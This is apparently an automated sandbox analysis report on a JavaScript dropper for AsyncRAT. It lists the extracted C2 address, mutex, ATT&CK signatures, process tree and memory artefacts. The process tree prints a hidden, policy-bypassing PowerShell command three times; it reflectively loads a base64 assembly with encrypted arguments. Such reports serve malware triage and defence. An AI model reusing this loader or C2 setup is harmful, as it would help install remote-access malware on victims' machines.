Analysis

  • max time kernel
    298s
  • max time network
    297s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/09/2026, 09:43

General

  • Target
    ilmg-Arg-Tetonassuk/ilmg-Arg-Tetonassuk.js
  • Size 894KB
  • Sample260916-lp4m8aad72
  • SHA256 68bd8187d7cb679855efd146c7e52c6a0ea0b3251d345bfbb8556e963326bdd6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • asyncrat

Version
  • 1.0.7

Botnet
  • SASX

C2
  • awcawaawl252525.duckdns.org:6679

Mutex
  • wvawvtfgfhfgadadadagdgdcgdgg

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ilmg-Arg-Tetonassuk\ilmg-Arg-Tetonassuk.js
    1⤵
    • Badlisted process makes network request
    PID:2288
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:948
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5068
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$latinizing=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38+$env:P39+$env:P40;$synangial=[System.IO.MemoryStream][Convert]::FromBase64String($latinizing);[System.Reflection.Assembly]::Load($synangial.ToArray())|Out-Null;[Win32.RMP.Cls_dsPARawPGW]::Met_dsPARawPGWNf('ZNKhz5JUfg/lPT2/YExn0GF14CWx3J6zBmz8+FSFJ4/AL5lYX50Fs6RwWeCClYygO737Q4GUDwo1wMwLnkqTKZlFyyya8Nz1OtzcNlLdN9an4OukemDaAKBKYilmaRZUEkqX1GHbSVq0CxvfWVEDm2KdyVRyR4l7spmM7T7ACLYQFePSL0jhIiBkh+q7BXcPDuTuCeFoJi91VAFPa2lk8I0HHfoaupA78aOHD67+v/8=','','kydns7WUVtHqAVZOAw4IhC5biY0mEqTuLVaurBE+PpwcyJmcFfCxhHQYBUU2KAF/','hfQCGgP+Zt8/DLFEJkjtVzqIBUwI0CT5pyXbjMKM12s=','5nWCmT/O1Hr/BxoRm9jxBRYrtM0wsThLbCyTEUpkpv8=','','mMGG3Srg6gxmChYojN4RxuSKUJ2U0aYQJb0Rbp/2aY4=','','','kZ8f/5dp1DOPPHWf9YQb9qzEav6pI/s6wXwvuQ9iIuCHJRSE/Hwt8b4FoagzYdjk','G8cUcsAV1B8V0pGiKq/H4LcuDaVgAfHTq6vxNam6uUY=','BCWWg7J0SA7vnvQexu44coqVzK83tHUrilG4B5ntme4=','Q97EJtkzaXxjTTS0FpXEUpHYkG2guba28BVz8pJXvo4=','','ceipV/8DvgqmpTXaOpUt7QtYcQDSPj1ntBYQF/gtK8U=','tauQjjoKUvJrUK34CtV59jxgI3nun3ZgJNfB7V9VpTs=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3380

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 1ab23eb7c88739831dcee26ef61cfcc7d51eb7d7fd65dbaaebd6747999818d9c
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 5c7725949861e5e7fcdd241385c7a3d8ff5b978a57584292e597b5c1f99e367d
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 84c902dc888987e402e16031ec4b0bb10fd2a05a5cea3949aac78887ced3ed7f
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_x2eheusn.xew.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x2eheusn.xew.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/948-19-0x00000293EBB50000-0x00000293EBC30000-memory.dmp

        memory/948-10-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

        memory/948-18-0x00000293EDF00000-0x00000293EDF22000-memory.dmp

        memory/948-45-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

        memory/948-44-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

        memory/948-9-0x00000293EE4A0000-0x00000293EE4B0000-memory.dmp

        memory/5068-27-0x0000000000400000-0x0000000000412000-memory.dmp

        memory/5068-39-0x0000000006330000-0x00000000063CC000-memory.dmp

        memory/5068-40-0x0000000006980000-0x0000000006F24000-memory.dmp

        memory/5068-41-0x0000000006440000-0x00000000064A6000-memory.dmp